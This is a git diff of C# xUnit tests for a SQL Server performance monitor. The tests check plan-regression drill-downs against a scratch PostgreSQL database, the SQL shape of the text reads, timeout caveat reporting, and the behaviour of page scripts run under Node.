+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var today = DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified);
+        var timeRangeStart = today.AddHours(10);
+        var windowFloor = today.AddDays(-14);
+        Assert.Equal(windowFloor, PgFactCollector.PlanRegressionWindowFloor(timeRangeStart.AddDays(-14)));
+
+        await InsertIntervalAsync(connection, planId: 1, first: windowFloor.AddHours(3), executions: 100, cpuUs: 1000, ct);
+        await InsertIntervalAsync(connection, planId: 2, first: today.AddDays(-1).AddHours(8), executions: 1000, cpuUs: 50000, ct);
+
+        /* The fact set M: the cheap plan's day is in the window. */
+        var withFloor = NewContext(timeRangeStart);
+        withFloor.PlanRegressionReadsIntervalTable = true;
+        withFloor.PlanRegressionWindowStart = windowFloor;
+        var rows = await DrillDownRowsAsync(postgres, withFloor);
+        var row = Assert.Single(rows);
+        Assert.Equal(1L, row.GetProperty("best_plan_id").GetInt64());
+        Assert.Equal("hash1", row.GetProperty("best_plan_hash").GetString());
+        Assert.Equal(7L, row.GetProperty("query_id").GetInt64());
+
+        /* No day totals this pass: the exact edge, as before #5448. The cheap plan ran before it. */
+        var withoutFloor = NewContext(timeRangeStart);
+        withoutFloor.PlanRegressionReadsIntervalTable = true;
+        withoutFloor.PlanRegressionWindowStart = null;
+        Assert.Empty(await DrillDownRowsAsync(postgres, withoutFloor));
+    }
+
+    private static AnalysisContext NewContext(DateTime timeRangeStart) => new()
+    {
+        ServerId = ServerId,
+        ServerName = "RegrWindowSrv",
+        TimeRangeStart = timeRangeStart,
+        TimeRangeEnd = timeRangeStart.AddHours(1),
+        ServerUtcOffset = TimeSpan.Zero,
+    };
+
+    private static async Task InsertIntervalAsync(
+        NpgsqlConnection connection, long planId, DateTime first, long executions, long cpuUs, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO collect.query_store_interval_latest
+(
+    server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time,
+    collection_time, query_plan_hash, query_hash, execution_count, avg_cpu_time_us, avg_duration_us,
+    last_execution_time, is_forced_plan, force_failure_count
+)
+VALUES (@s, 'wsdb', 7, @p, NULL, @p, @f, @f + interval '35 minutes', 'hash' || @p, 'qh7', @e, @c, @c * 3,
+        @f + interval '30 minutes', false, 0)", connection);
+        command.Parameters.AddWithValue("s", ServerId);
+        command.Parameters.AddWithValue("p", planId);
+        command.Parameters.AddWithValue("f", NpgsqlDbType.Timestamp, first);
+        command.Parameters.AddWithValue("e", executions);
+        command.Parameters.AddWithValue("c", cpuUs);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<List<JsonElement>> DrillDownRowsAsync(NpgsqlDataSource postgres, AnalysisContext context)
+    {
+        var finding = new AnalysisFinding
+        {
+            RootFactKey = "PLAN_REGRESSION",
+            StoryPath = "PLAN_REGRESSION",
+            PathKeys = ["PLAN_REGRESSION"],
+            /* Past the display gate: below it the expensive drill-downs are skipped wholesale. */
+            Severity = 1.0,
+        };
+
+        await new PgDrillDownCollector(postgres).EnrichFindingsAsync([finding], context);
+
+        if (finding.DrillDown is null || !finding.DrillDown.TryGetValue("regressed_queries", out var raw))
+            return [];
+
+        return [.. JsonSerializer.SerializeToElement(raw).EnumerateArray()];
+    }
+}
diff --git a/Darling/Darling.Tests/PlanRegressionIntervalTableEquivalenceTests.cs b/Darling/Darling.Tests/PlanRegressionIntervalTableEquivalenceTests.cs
index 543dc78c19..d2d1b5957e 100644
--- a/Darling/Darling.Tests/PlanRegressionIntervalTableEquivalenceTests.cs
+++ b/Darling/Darling.Tests/PlanRegressionIntervalTableEquivalenceTests.cs
@@ -151,8 +151,26 @@ public void UseTable_RefusesAWindowReachingBelowTheTablesFloor_WhenRawStillHolds
         /* A held store: raw keeps 30 days, the table's floor is 16 days back, and an anchored pass reaches 20. */
         Assert.False(QueryStoreIntervalLatest.UseTable(now.AddDays(-25), false, now.AddDays(-30), rawBound, now.AddDays(-16)));
 
-        /* The same window where raw holds nothing older than the table: the table. */
-        Assert.True(QueryStoreIntervalLatest.UseTable(now.AddDays(-25), false, now.AddDays(-15), rawBound, now.AddDays(-16)));
+        /* The same window where raw holds nothing older than the table, a full margin clear of its floor: the table. */
+        Assert.True(QueryStoreIntervalLatest.UseTable(now.AddDays(-25), false, now.AddDays(-14), rawBound, now.AddDays(-16)));
+    }
+
+    [Fact]
+    public void UseTable_RawFloorWithinTheMarginOfTheTableFloor_ReadsRaw()
+    {
+        /* #5541: raw drops a snapshot by collection_time, the table drops an interval by first_execution_time. A raw
+           floor at or just above the table floor can still hold a snapshot of an interval the table dropped, so the
+           table is only safe once raw's floor clears the table's by the purge-edge margin. */
+        var now = new DateTime(2026, 9, 23, 0, 0, 0, DateTimeKind.Unspecified);
+        var rawBound = now.AddDays(-20);
+        var h = now.AddDays(-16);
+        var margin = QueryStoreIntervalWide.PurgeEdgeMargin;
+        var minute = TimeSpan.FromMinutes(1);
+
+        Assert.False(QueryStoreIntervalLatest.UseTable(now.AddDays(-25), false, h, rawBound, h));
+        Assert.False(QueryStoreIntervalLatest.UseTable(now.AddDays(-25), false, h + margin - minute, rawBound, h));
+        Assert.True(QueryStoreIntervalLatest.UseTable(now.AddDays(-25), false, h + margin, rawBound, h));
+        Assert.True(QueryStoreIntervalLatest.UseTable(now.AddDays(-25), false, h + margin + minute, rawBound, h));
     }
 
     /* ---- the seed ---------------------------------------------------------------------------------------- */
diff --git a/Darling/Darling.Tests/PlanRegressionReadShapeTests.cs b/Darling/Darling.Tests/PlanRegressionReadShapeTests.cs
index d8f3a7da22..ab20499e52 100644
--- a/Darling/Darling.Tests/PlanRegressionReadShapeTests.cs
+++ b/Darling/Darling.Tests/PlanRegressionReadShapeTests.cs
@@ -72,16 +72,49 @@ public void TheParameterSensitivityDrillDown_ReadsNoTextDimension_AndHandsBackTh
         /* Since #4821 the cap of five is the reader's (the compiled-before-the-window test runs on the converted time
            before it), so this read carries no LIMIT and every plan that passes the rough filter comes back. A join to
            the text dimension here, however late in the statement, resolves text for all of them to print five (#3902).
-           So the read names no dimension at all: it hands back the inline legacy text, and the digest rides last for
-           the reader's second read, which resolves the plans the reader keeps. */
+           So the read names no dimension at all: it hands back only WHETHER the row has inline legacy text (#5361: the
+           whole text of every ranked row was 131 times the bytes of the cut it replaced, to print five), and the digest
+           rides last for the reader's text reads, which resolve the plans the reader keeps. */
         Assert.DoesNotContain("LIMIT 5", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("query_text_dim", sql, StringComparison.Ordinal);
-        Assert.Contains("LEFT(o.query_text, 500) AS query_text", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LEFT(o.query_text", sql, StringComparison.Ordinal); /* #5320: whole text, judged then cut in C# */
+        Assert.DoesNotContain("o.query_text,", sql, StringComparison.Ordinal); /* #5361: the ranking read carries no text */
+        Assert.DoesNotContain("        query_text,", sql, StringComparison.Ordinal); /* ... and neither does its window sort */
+        Assert.Contains("query_text IS NOT NULL AS has_inline_text", sql, StringComparison.Ordinal);
+        Assert.Contains("    o.has_inline_text,", sql, StringComparison.Ordinal);
         Assert.Matches(
             new Regex(@"o\.time_zone_id,\s+o\.query_text_digest\s+FROM offenders AS o\s+ORDER BY", RegexOptions.Singleline),
             sql);
     }
 
+    [Fact]
+    public void TheParameterSensitivityInlineTextRead_FetchesTheKeptPlansNewestRowByKey_AndNothingElse()
+    {
+        var sql = StripComments(PgDrillDownCollector.ParameterSensitiveInlineTextSql);
+
+        /* #5361: the whole inline text of the kept plans only. The row is the ranking's rn = 1 row: the newest row of the
+           window with delta_execution_count > 0, one per (database, query hash, plan hash), a NULL part matching a NULL
+           part as the ranking's PARTITION BY groups it. The plans arrive as parallel arrays, never a parameter per plan. */
+        Assert.Contains("SELECT DISTINCT ON (q.database_name, q.query_hash, q.query_plan_hash)", sql, StringComparison.Ordinal);
+        Assert.Contains("FROM query_stats AS q", sql, StringComparison.Ordinal);
+        Assert.Contains("q.delta_execution_count > 0", sql, StringComparison.Ordinal);
+        Assert.Contains("q.collection_time DESC", sql, StringComparison.Ordinal);
+        Assert.Contains("unnest($4::text[], $5::text[], $6::text[])", sql, StringComparison.Ordinal);
+        Assert.Equal(3, Regex.Matches(sql, @"IS NOT DISTINCT FROM").Count);
+        Assert.DoesNotContain("$7", sql, StringComparison.Ordinal);
+
+        /* The text is the view's own COALESCE (#1767, D10): the row's inline text, else the text dimension's for the row's
+           digest, through exactly ONE left join on the digest. The dimension is named in that join and nowhere else, the
+           join is never an inner join (a row whose text lives only in the dimension, or in neither, keeps its row), and
+           the read still carries no LIMIT and no second text source. */
+        Assert.Contains("COALESCE(q.query_text, d.query_text) AS query_text", sql, StringComparison.Ordinal);
+        Assert.Matches(new Regex(@"FROM query_stats AS q\s+LEFT JOIN query_text_dim AS d ON d\.digest = q\.query_text_digest\s+JOIN unnest\("), sql);
+        Assert.Single(Regex.Matches(sql, @"query_text_dim"));
+        Assert.Equal(2, Regex.Matches(sql, @"\bJOIN\b").Count); /* the one left join on the dimension and the unnest join, no third */
+        Assert.Single(Regex.Matches(sql, @"\bLEFT JOIN\b"));
+        Assert.DoesNotContain("LIMIT", sql, StringComparison.OrdinalIgnoreCase);
+    }
+
     [Fact]
     public void TheParameterSensitivityTextRead_BindsTheDigestsAsOneArrayParameter_AndReadsOnlyTheDimension()
     {
@@ -90,7 +123,7 @@ public void TheParameterSensitivityTextRead_BindsTheDigestsAsOneArrayParameter_A
         /* One dimension row per digest by primary key: the read touches the digests it was given and nothing else. The
            cut to 500 characters stays in SQL, so it is still PostgreSQL's character count. */
         Assert.Matches(
-            new Regex(@"^\s*SELECT digest, LEFT\(query_text, 500\)\s+FROM query_text_dim\s+WHERE digest = ANY\(\$1\)\s*$"),
+            new Regex(@"^\s*SELECT digest, query_text\s+FROM query_text_dim\s+WHERE digest = ANY\(\$1\)\s*$"),
             sql);
 
         /* One array parameter however many plans print, never a parameter or a list literal per digest. */
diff --git a/Darling/Darling.Tests/PlanRegressionTimeoutCaveatTests.cs b/Darling/Darling.Tests/PlanRegressionTimeoutCaveatTests.cs
new file mode 100644
index 0000000000..683874be95
--- /dev/null
+++ b/Darling/Darling.Tests/PlanRegressionTimeoutCaveatTests.cs
@@ -0,0 +1,114 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using Npgsql;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5448: the daily-totals read must not turn a PLAN_REGRESSION timeout into silence. The path a timeout takes is
+/// <c>ReportCollectionFailure</c> to <c>AnalysisContext.CollectionFailures</c> (family <c>plan_regression</c>, outcome
+/// <c>timeout</c>), then the service's caveat store (<c>collect.analysis_collection_caveats</c>, read by
+/// <c>get_collection_health</c>'s <c>stored_caveats</c> and the viewer's grid) and the live tools' own
+/// <c>collection_caveats</c> block. These pins hold the ends of that path for this family without a store: every command
+/// the fact runs carries the 60 s deadline and the fact's catch reports, and a timeout recorded under the fact's method
+/// name describes and serializes as <c>plan_regression (timeout)</c> and maps to the stored reason <c>timeout</c>.
+/// </summary>
+public sealed class PlanRegressionTimeoutCaveatTests
+{
+    [Fact]
+    public void EveryCommandThePlanRegressionFactRuns_CarriesTheFactDeadline_AndOnlyTheReadThatLeavesTheFactEmptyRecords()
+    {
+        var source = File.ReadAllText(Path.Combine(
+            RepoRoot(), "Darling", "PerformanceMonitor.Darling.Analysis", "PgFactCollector.QueryPerf.cs"));
+        var storage = File.ReadAllText(Path.Combine(
+            RepoRoot(), "Darling", "PerformanceMonitor.Darling.Storage", "QueryStoreIntervalLatest.cs"));
+
+        var fact = Slice(source, "private async Task CollectPlanRegressionFactsAsync(", "public const string ProcedureStatsSql");
+        var builtDays = Slice(storage, "public static async Task<List<DateOnly>> ReadBuiltDaysAsync(", "private readonly ConcurrentDictionary<int, byte> _coverageEnsured");
+
+        /* The fact's own read carries the deadline, and the built-days read is handed it (it builds its command in the
+           storage helper, from the storage tenant's own SQL constant). */
+        /* Two commands: the snapshot transaction's SET TRANSACTION READ ONLY, and the read. Both carry the deadline. */
+        Assert.Equal(2, Regex.Matches(fact, @"new NpgsqlCommand\(").Count);
+        Assert.Equal(2, Regex.Matches(fact, @"CommandTimeout = FactCommandTimeoutSeconds").Count);
+        Assert.Contains("snapshot, context.ServerId, windowFloor, FactCommandTimeoutSeconds", fact, StringComparison.Ordinal);
+        Assert.Contains("new NpgsqlCommand(PlanRegressionDaily.BuiltDaysSql, connection, transaction)", builtDays, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(builtDays, @"new NpgsqlCommand\("));
+        Assert.Single(Regex.Matches(builtDays, @"CommandTimeout = commandTimeoutSeconds"));
+
+        /* #5448: the fact's swallowing catch reports, so a timeout of the exact read is a plan_regression caveat. The
+           built-days read does NOT: it falls back to that exact read, which is whole, so a stored caveat would say data is
+           missing when none is. It still does not swallow a cancelled pass, and it still logs the failure. */
+        Assert.Contains("ReportCollectionFailure(ex, context);", fact, StringComparison.Ordinal);
+        Assert.DoesNotContain("ReportCollectionFailure", builtDays, StringComparison.Ordinal);
+        Assert.DoesNotContain("ReadPlanRegressionBuiltDaysAsync", source, StringComparison.Ordinal);
+        Assert.Contains("when (!isExpectedAbandon(ex))", builtDays, StringComparison.Ordinal);
+        Assert.Contains("logger?.LogWarning(", builtDays, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ATimeoutRecordedForThePlanRegressionFact_DescribesAndSerializesAsATimeoutOfThatFamily()
+    {
+        var timeout = new NpgsqlException("Exception while reading from stream", new TimeoutException());
+        var context = new AnalysisContext { ServerId = 1, ServerName = "s" };
+
+        context.RecordCollectionFailure(
+            CollectionFailure.FamilyOf("CollectPlanRegressionFactsAsync"), "CollectPlanRegressionFactsAsync",
+            PgFactCollector.ClassifyOutcome(timeout), timeout);
+
+        var failure = Assert.Single(context.CollectionFailures);
+        Assert.Equal("plan_regression", failure.Family);
+        Assert.Equal(CollectionFailureOutcome.Timeout, failure.Outcome);
+
+        var state = CollectionCaveatState.From(context);
+        Assert.Contains("plan_regression (timeout)", state.Describe(), StringComparison.Ordinal);
+
+        var payload = JsonSerializer.SerializeToElement(
+            state.Attach(new { facts = 0 }, new JsonSerializerOptions()));
+        var entry = payload.GetProperty("collection_caveats").GetProperty("entries").EnumerateArray().Single();
+        Assert.Equal("plan_regression", entry.GetProperty("family").GetString());
+        Assert.Equal("timeout", entry.GetProperty("outcome").GetString());
+
+        /* What the pass hands the caveat store, the reason the stored caveat (and get_collection_health) shows. */
+        Assert.Equal("timeout", CollectionFailure.Label(failure.Outcome));
+    }
+
+    private static string Slice(string source, string from, string to)
+    {
+        var start = source.IndexOf(from, StringComparison.Ordinal);
+        Assert.True(start >= 0, $"'{from}' is no longer in PgFactCollector.QueryPerf.cs");
+        var end = source.IndexOf(to, start, StringComparison.Ordinal);
+        Assert.True(end > start, $"'{to}' no longer follows '{from}'");
+        return source[start..end];
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null
+               && !File.Exists(Path.Combine(dir, "PerformanceMonitor.sln"))
+               && !Directory.Exists(Path.Combine(dir, ".git")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return dir!;
+    }
+}
diff --git a/Darling/Darling.Tests/PlanRowBehaviourTests.cs b/Darling/Darling.Tests/PlanRowBehaviourTests.cs
new file mode 100644
index 0000000000..364d2de5e7
--- /dev/null
+++ b/Darling/Darling.Tests/PlanRowBehaviourTests.cs
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Where an open plan or history panel sits and what it watches (click-through 1), from the shipped <c>plan-row.js</c> run
+/// under Node (<c>web-plan-row-harness.mjs</c>). Node is skipped when it is not installed. The panel is pinned to the grid's
+/// visible area, so a grid scrolled right to reach the Plan column does not leave the panel's text off-screen; and one
+/// observer per open panel is let go when the panel closes, redraws or leaves the page.
+/// </summary>
+public sealed class PlanRowBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-plan-row-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the plan row harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the plan row harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static void AssertPin(JsonElement r, string name, int left, int width)
+    {
+        Assert.Equal(left, r.GetProperty(name).GetProperty("left").GetInt32());
+        Assert.Equal(width, r.GetProperty(name).GetProperty("width").GetInt32());
+    }
+
+    [Fact]
+    public void ThePanel_CoversTheGridsVisibleArea_WhateverTheScroll()
+    {
+        var r = Run("geometry");
+        // Scrolled 2487 px right in a 600 px wrap: the panel starts at the visible left edge, not at the row's own left edge.
+        AssertPin(r, "scrolledRight", 2487, 600);
+        AssertPin(r, "notScrolled", 0, 600);
+        // A table narrower than the wrap: the panel is the row's width, never wider.
+        AssertPin(r, "narrowTable", 0, 400);
+        // The wrap's own offset and border count.
+        AssertPin(r, "offsetWrap", 1251, 600);
+        // Never pushed past either end of the row.
+        AssertPin(r, "pastTheEnd", 2487, 600);
+        AssertPin(r, "beforeTheStart", 0, 600);
+    }
+
+    [Fact]
+    public void ThePanel_FollowsTheWrapsScroll_AndItsResize()
+    {
+        var r = Run("pinsToVisibleArea");
+        Assert.Equal("2487px", r.GetProperty("afterOpen").GetProperty("left").GetString());
+        Assert.Equal("600px", r.GetProperty("afterOpen").GetProperty("width").GetString());
+        Assert.Equal("auto", r.GetProperty("afterOpen").GetProperty("right").GetString());
+        AssertPinText(r, "afterScroll", "1000px", "600px");
+        AssertPinText(r, "afterResize", "1000px", "450px");
+        // The panel (it loads and grows), the row (a re-wrap changes its height) and the wrap (the visible width).
+        Assert.Equal(new[] { "div:plan-panel", "tr:", "div:table-wrap" }, r.GetProperty("watching").EnumerateArray().Select(e => e.GetString()).ToArray());
+    }
+
+    private static void AssertPinText(JsonElement r, string name, string left, string width)
+    {
+        Assert.Equal(left, r.GetProperty(name).GetProperty("left").GetString());
+        Assert.Equal(width, r.GetProperty(name).GetProperty("width").GetString());
+    }
+
+    [Fact]
+    public void ClosingAPanel_LeavesNoObserver_AndRedrawingNeverStacksThem()
+    {
+        var r = Run("observerLifecycle");
+        Assert.Equal(0, r.GetProperty("start").GetInt32());
+        Assert.Equal(1, r.GetProperty("afterOpen").GetInt32());
+        Assert.Equal(1, r.GetProperty("scrollListenersOpen").GetInt32());
+        // Closing disconnects the observer and removes the wrap's scroll listener.
+        Assert.Equal(0, r.GetProperty("afterClose").GetInt32());
+        Assert.Equal(0, r.GetProperty("scrollListenersClosed").GetInt32());
+        Assert.Equal("plan-cell", r.GetProperty("closedClass").GetString());
+        // Four redraws of one open panel still leave exactly one observer and one scroll listener.
+        Assert.Equal(1, r.GetProperty("afterRedraws").GetInt32());
+        Assert.Equal(1, r.GetProperty("scrollListenersRedrawn").GetInt32());
+    }
+
+    [Fact]
+    public void AGridRerender_LetsGoOfThePanelsOfTheRowsItDiscarded()
+    {
+        var r = Run("observerLifecycle");
+        Assert.Equal(2, r.GetProperty("beforeRerender").GetInt32());
+        // The discarded row's observer is disconnected; the panel still on the page keeps its own.
+        Assert.Equal(1, r.GetProperty("afterRerender").GetInt32());
+        Assert.Equal(1, r.GetProperty("scrollListenersAfterRerender").GetInt32());
+    }
+}
diff --git a/Darling/Darling.Tests/PlanSync4512CancellationTests.cs b/Darling/Darling.Tests/PlanSync4512CancellationTests.cs
index 9cadae2c8a..7695d566b0 100644
--- a/Darling/Darling.Tests/PlanSync4512CancellationTests.cs
+++ b/Darling/Darling.Tests/PlanSync4512CancellationTests.cs
@@ -88,15 +88,38 @@ public void ParseCancelledDuringTheWalkThrowsOperationCanceledException()
             $"the walk should have stopped at or just past statement 3, but saw statement {highestStatementSeen}");
     }
 
-    /// <summary>(b), async side: same mid-walk cancellation on <see cref="ShowPlanParser.ParseAsync"/>.</summary>
+    /// <summary>
+    /// (b), async side: same mid-walk cancellation on <see cref="ShowPlanParser.ParseAsync"/>, cancelled the same way
+    /// as the synchronous sibling above: from <see cref="ShowPlanParser.OnStatementParsedForTest"/> at statement 3. The
+    /// test used to arm <c>cts.CancelAfter(50)</c> against a 35,000-statement walk and assumed the walk outlasted 50 ms;
+    /// on a fast machine it finished first and the call threw nothing ("No exception was thrown"). The hook cancels
+    /// from inside the walk, so the cancellation always lands while statements remain, whatever the machine's speed,
+    /// and the walk is asserted to stop at it.
+    /// </summary>
     [Fact]
     public async System.Threading.Tasks.Task ParseAsyncCancelledDuringTheWalkThrowsOperationCanceledException()
     {
-        var xml = ManyStatementsPlan(35_000);
+        var xml = ManyStatementsPlan(50);
         using var cts = new CancellationTokenSource();
-        cts.CancelAfter(50);
+        var highestStatementSeen = 0;
 
-        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => ShowPlanParser.ParseAsync(xml, cts.Token));
+        ShowPlanParser.OnStatementParsedForTest.Value = count =>
+        {
+            highestStatementSeen = count;
+            if (count == 3)
+                cts.Cancel();
+        };
+        try
+        {
+            await Assert.ThrowsAnyAsync<OperationCanceledException>(() => ShowPlanParser.ParseAsync(xml, cts.Token));
+        }
+        finally
+        {
+            ShowPlanParser.OnStatementParsedForTest.Value = null;
+        }
+
+        Assert.True(highestStatementSeen <= 4,
+            $"the walk should have stopped at or just past statement 3, but saw statement {highestStatementSeen}");
     }
 
     /// <summary>
diff --git a/Darling/Darling.Tests/PlanSync4512ParseErrorSurfacingTests.cs b/Darling/Darling.Tests/PlanSync4512ParseErrorSurfacingTests.cs
index d795e81d14..71318db993 100644
--- a/Darling/Darling.Tests/PlanSync4512ParseErrorSurfacingTests.cs
+++ b/Darling/Darling.Tests/PlanSync4512ParseErrorSurfacingTests.cs
@@ -22,6 +22,7 @@ namespace Darling.Tests;
 /// reads each collector's source and asserts the guard sits between the parse call and the first
 /// read of that content.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class PlanSync4512ParseErrorSurfacingTests
 {
     [Theory]
diff --git a/Darling/Darling.Tests/PlanSync4530ReaderLiveTests.cs b/Darling/Darling.Tests/PlanSync4530ReaderLiveTests.cs
index 9cc3d8ffc1..09db11c0bb 100644
--- a/Darling/Darling.Tests/PlanSync4530ReaderLiveTests.cs
+++ b/Darling/Darling.Tests/PlanSync4530ReaderLiveTests.cs
@@ -37,6 +37,7 @@ namespace Darling.Tests;
 /// <para>#1776 own-store: this uses <c>ScratchPostgres</c>, not the shared <c>live-postgres</c>
 /// collection, and never touches another test's rows.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class PlanSync4530ReaderLiveTests
 {
     private const int TestServerId = -453_000;
diff --git a/Darling/Darling.Tests/PlanSync4535RuleNumberCensusTests.cs b/Darling/Darling.Tests/PlanSync4535RuleNumberCensusTests.cs
index 75efa0950d..7537fb3e6e 100644
--- a/Darling/Darling.Tests/PlanSync4535RuleNumberCensusTests.cs
+++ b/Darling/Darling.Tests/PlanSync4535RuleNumberCensusTests.cs
@@ -38,6 +38,7 @@ namespace Darling.Tests;
 /// only SQL Server's own findings across those same fixtures — proof that each rule's guard, not
 /// just its stamp, is wired to <see cref="AnalyzerConfig"/>.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class PlanSync4535RuleNumberCensusTests
 {
     private static string RepoRoot([CallerFilePath] string thisFile = "")
diff --git a/Darling/Darling.Tests/PlanSync4597ServerContextFieldsLiveTests.cs b/Darling/Darling.Tests/PlanSync4597ServerContextFieldsLiveTests.cs
index 9eec69096b..d490d597d3 100644
--- a/Darling/Darling.Tests/PlanSync4597ServerContextFieldsLiveTests.cs
+++ b/Darling/Darling.Tests/PlanSync4597ServerContextFieldsLiveTests.cs
@@ -28,6 +28,7 @@ namespace Darling.Tests;
 /// <para>#1776 own-store: this uses <c>ScratchPostgres</c>, not the shared <c>live-postgres</c>
 /// collection, and never touches another test's rows.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class PlanSync4597ServerContextFieldsLiveTests
 {
     private const int TestServerId = -459_700;
diff --git a/Darling/Darling.Tests/PlanSync4602AnalysisServiceConfigCensusTests.cs b/Darling/Darling.Tests/PlanSync4602AnalysisServiceConfigCensusTests.cs
index f621226bac..71cbebd1b7 100644
--- a/Darling/Darling.Tests/PlanSync4602AnalysisServiceConfigCensusTests.cs
+++ b/Darling/Darling.Tests/PlanSync4602AnalysisServiceConfigCensusTests.cs
@@ -24,6 +24,7 @@ namespace Darling.Tests;
 /// discipline <see cref="SharedBaselineCacheTests"/> uses for the same three call sites, so a construction
 /// call named only inside a doc comment is not mistaken for a real site.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class PlanSync4602AnalysisServiceConfigCensusTests
 {
     /// <summary>Matches <c>new DarlingAnalysisService(</c> and captures everything up to the matching close
diff --git a/Darling/Darling.Tests/PlanViewerBehaviourTests.cs b/Darling/Darling.Tests/PlanViewerBehaviourTests.cs
new file mode 100644
index 0000000000..b5fea0eb59
--- /dev/null
+++ b/Darling/Darling.Tests/PlanViewerBehaviourTests.cs
@@ -0,0 +1,473 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web stored-plan viewer (#4843), from the shipped <c>plan-viewer.js</c> run under Node
+/// (<c>web-plan-viewer-harness.mjs</c>). Node is skipped when it is not installed.
+/// </summary>
+public sealed class PlanViewerBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-plan-viewer-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the plan viewer harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the plan viewer harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string Str(JsonElement r, string name) => r.GetProperty(name).GetString()!;
+
+    [Fact]
+    public void ThePlanButton_ReadsTheStoredPlan_AndShowsItIndented()
+    {
+        var r = Run("open");
+        Assert.True(r.GetProperty("buttonBefore").GetBoolean());
+        Assert.Equal("/api/read/get_plan_xml", Str(r, "path"));
+        var q = r.GetProperty("query");
+        Assert.Equal("srv-a", q.GetProperty("server").GetString());
+        Assert.Equal("0xABCDEF0123456789", q.GetProperty("query_hash").GetString());
+        Assert.Equal("Orders", q.GetProperty("database_name").GetString());
+        Assert.Contains("Loading", Str(r, "loading"));
+        Assert.Equal("pre", Str(r, "preTag"));
+        Assert.StartsWith("<ShowPlanXML", Str(r, "pre"));
+        Assert.Contains("\n  <BatchSequence>\n    <Batch>", Str(r, "pre"));
+        Assert.True(r.GetProperty("hasCopy").GetBoolean());
+        Assert.True(r.GetProperty("hasDownload").GetBoolean());
+        Assert.Equal("\u2014", Str(r, "noHashCell"));
